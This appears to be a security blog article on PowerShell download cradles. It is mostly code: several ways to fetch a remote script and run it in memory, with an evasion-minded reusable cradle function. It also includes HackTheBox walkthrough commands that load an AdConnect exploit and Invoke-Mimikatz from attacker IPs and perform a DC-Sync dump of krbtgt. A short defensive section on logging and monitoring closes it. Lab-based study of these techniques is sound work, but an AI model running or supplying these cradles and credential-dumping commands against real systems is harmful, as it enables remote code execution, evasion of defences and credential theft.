Understanding PowerShell Download Cradles: A Deep Dive

Nov 11, 2024    #windows   #active-directory   #powershell   #download-cradle  

Introduction

PowerShell has revolutionized system administration and automation. One of its powerful yet often misunderstood features is the PowerShell download cradle. This article explores what download cradles are, their uses, and best practices for implementation.

What is a PowerShell Download Cradle?

A PowerShell download cradle is a technique that enables downloading and executing code directly in memory without writing to disk. This approach can help bypass security mechanisms.

Core Components and Techniques

Essential Cmdlets

Basic Syntax Example using Invoke-Mimikatz:

Common Download Cradle Examples:

Basic WebClient Method

# Standard WebClient download cradle
IEX (New-Object Net.Webclient).downloadstring("https://example.com/script.ps1")

# PowerShell 3.0+ using Invoke-WebRequest (alias: iwr)
IEX (iwr 'https://example.com/script.ps1')

COM Object Methods

# Internet Explorer COM object
$ie = New-Object -comobject InternetExplorer.Application
$ie.visible = $False
$ie.navigate('https://example.com/script.ps1')
start-sleep -s 5
$r = $ie.Document.body.innerHTML
$ie.quit()
IEX $r

# Msxml2.XMLHTTP COM object (proxy-aware)
$h = New-Object -ComObject Msxml2.XMLHTTP
$h.open('GET','https://example.com/script.ps1',$false)
$h.send()
iex $h.responseText

Advanced Download Cradle Techniques:

# DNS TXT Record Method
IEX ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(
    ((nslookup -querytype=txt "example.com" | Select -Pattern '"*"') -split '"'[0])
)))

# XML Document Method
$a = New-Object System.Xml.XmlDocument
$a.Load("https://example.com/command.xml")
$a.command.a.execute | iex

Creating a Secure Download Cradle:

Basic Setup

  1. Launch PowerShell with appropriate privileges
  2. Configure execution policy if needed
       Set-ExecutionPolicy RemoteSigned
    

Secure Download Cradle Code:

Here’s a complete, production-ready download cradle implementation that incorporates logging, error handling, and security controls:

function Invoke-SecureDownloadCradle {
    # Enable advanced function features like -Verbose
    [CmdletBinding()]
    param (
        # Required URL parameter for the script to download
        [Parameter(Mandatory=$true)]
        [string]$Url,

        # Optional custom User-Agent to avoid detection or meet requirements
        [Parameter(Mandatory=$false)]
        [string]$UserAgent = "PowerShell/SecurityAudit",

        # Optional timeout in milliseconds (default 30 seconds)
        [Parameter(Mandatory=$false)]
        [int]$Timeout = 30000,

        # Optional switch to enable Windows Event Log logging
        [Parameter(Mandatory=$false)]
        [switch]$EnableLogging
    )

    # Internal logging function to handle both event logs and verbose output
    function Write-Log {
        param($Message)

        if ($EnableLogging) {
            $logParams = @{
                LogName = 'Application'     # Write to Windows Application log
                Source = 'SecureDownloadCradle'
                EventId = 1000
                EntryType = 'Information'
                Message = $Message
            }

            try {
                Write-EventLog @logParams
            } catch {
                Write-Warning "Logging failed: $_"
            }
        }

        Write-Verbose $Message    # Always write to verbose stream
    }

    try {
        Write-Log "Starting download from: $Url"

        # Force TLS 1.2 for security and reset cert callback to default
        [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
        [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null

        # Initialize WebClient with security settings
        $webClient = New-Object System.Net.WebClient
        $webClient.Headers.Add("User-Agent", $UserAgent)
        # Configure system proxy settings automatically
        $webClient.Proxy = [System.Net.WebRequest]::GetSystemWebProxy()
        $webClient.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials

        Write-Log "Downloading content..."
        $scriptContent = $webClient.DownloadString($Url)
        Write-Log "Content downloaded successfully"

        # Execute the downloaded content safely using InvokeCommand
        Write-Log "Executing script in memory"
        $ExecutionContext.InvokeCommand.InvokeScript($false, [scriptblock]::Create($scriptContent), $null, $null)
        Write-Log "Execution completed successfully"

    } catch [System.Net.WebException] {
        # Handle network-specific errors separately
        $errorMsg = "Network error occurred: $($_.Exception.Message)"
        Write-Log $errorMsg
        throw $errorMsg

    } catch {
        # Handle all other errors
        $errorMsg = "Unexpected error occurred: $_"
        Write-Log $errorMsg
        throw $errorMsg

    } finally {
        # Ensure proper cleanup of resources
        if ($webClient) {
            $webClient.Dispose()
            Write-Log "WebClient disposed"
        }
    }
}

This implementation includes:

Example usage without logging:


#Import Script
. .\Invoke-SecureDownloadCradle.ps1

#Run
Invoke-SecureDownloadCradle -Url "http://[IP]/[SCRIPT].ps1" -Verbose

Example usage with logging:


#Import Script
. .\Invoke-SecureDownloadCradle.ps1

# Create Event Source
New-EventLog -LogName Application -Source "SecureDownloadCradle"

#Run
Invoke-SecureDownloadCradle -Url "http://[IP]/[SCRIPT].ps1" -Verbose

# Read the logs
Get-WinEvent -LogName Application | Where-Object {$_.ProviderName -eq "SecureDownloadCradle"}

Real-World Examples Of Download-Cradle Use HackTheBox

Monteverde Box: Extracting the Administrator Password for Azure:

In this example, we used a download cradle to execute AdConnect exploitation directly in memory:

iex(new-object net.webclient).downloadstring('http://10.10.14.46:9000/AdConnectPOC.ps1')

Certified Box: Advanced Mimikatz Usage to perform a DC-Sync Attack:

Setting Up the Environment

  1. Start a Python HTTP server to host the Mimikatz script:
       python3 -m http.server 9000
    

Loading Mimikatz into Memory

Using a download cradle to load invoke-mimikatz directly into memory:

iex(new-object net.webclient).downloadstring('http://10.10.14.24:9000/Invoke-Mimikatz.ps1')

Performing DC-Sync Attack

Invoke-Mimikatz -Command '"privilege::debug" "lsadump::dcsync /user:krbtgt /domain:administrator.htb"'

Driver Box: Running PrintNightmare POC from a download cradle:

Security Considerations

Detection Methods

Common Restrictions

# Execution Policy
Set-ExecutionPolicy Restricted

# AMSI Scanning
# Built into PowerShell 5.0+ by default

# AppLocker Rules
# Block PowerShell download cradle patterns
New-AppLockerPolicy -RuleType Path -Deny -Path "%SYSTEM32%\WindowsPowerShell\*\powershell.exe" -User Everyone

Defensive Recommendations

For system administrators:

  1. Enable PowerShell logging:

       # Enable detailed script block logging
       Set-ItemProperty -Path "HKLM:\SOFTWARE\Wow6432Node\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name "EnableScriptBlockLogging" -Value 1
    
  2. Monitor for suspicious patterns:

    • Direct execution using IEX
    • Base64 encoded commands
    • Uncommon COM objects
    • Unusual DNS TXT queries
  3. Network Controls:

    • Implement HTTPS inspection
    • Block outbound PowerShell connections
    • Monitor for unusual PowerShell network activity


Next: Understanding CVE-2023-28252: Deep Dive into the CLFS Privilege Escalation Vulnerability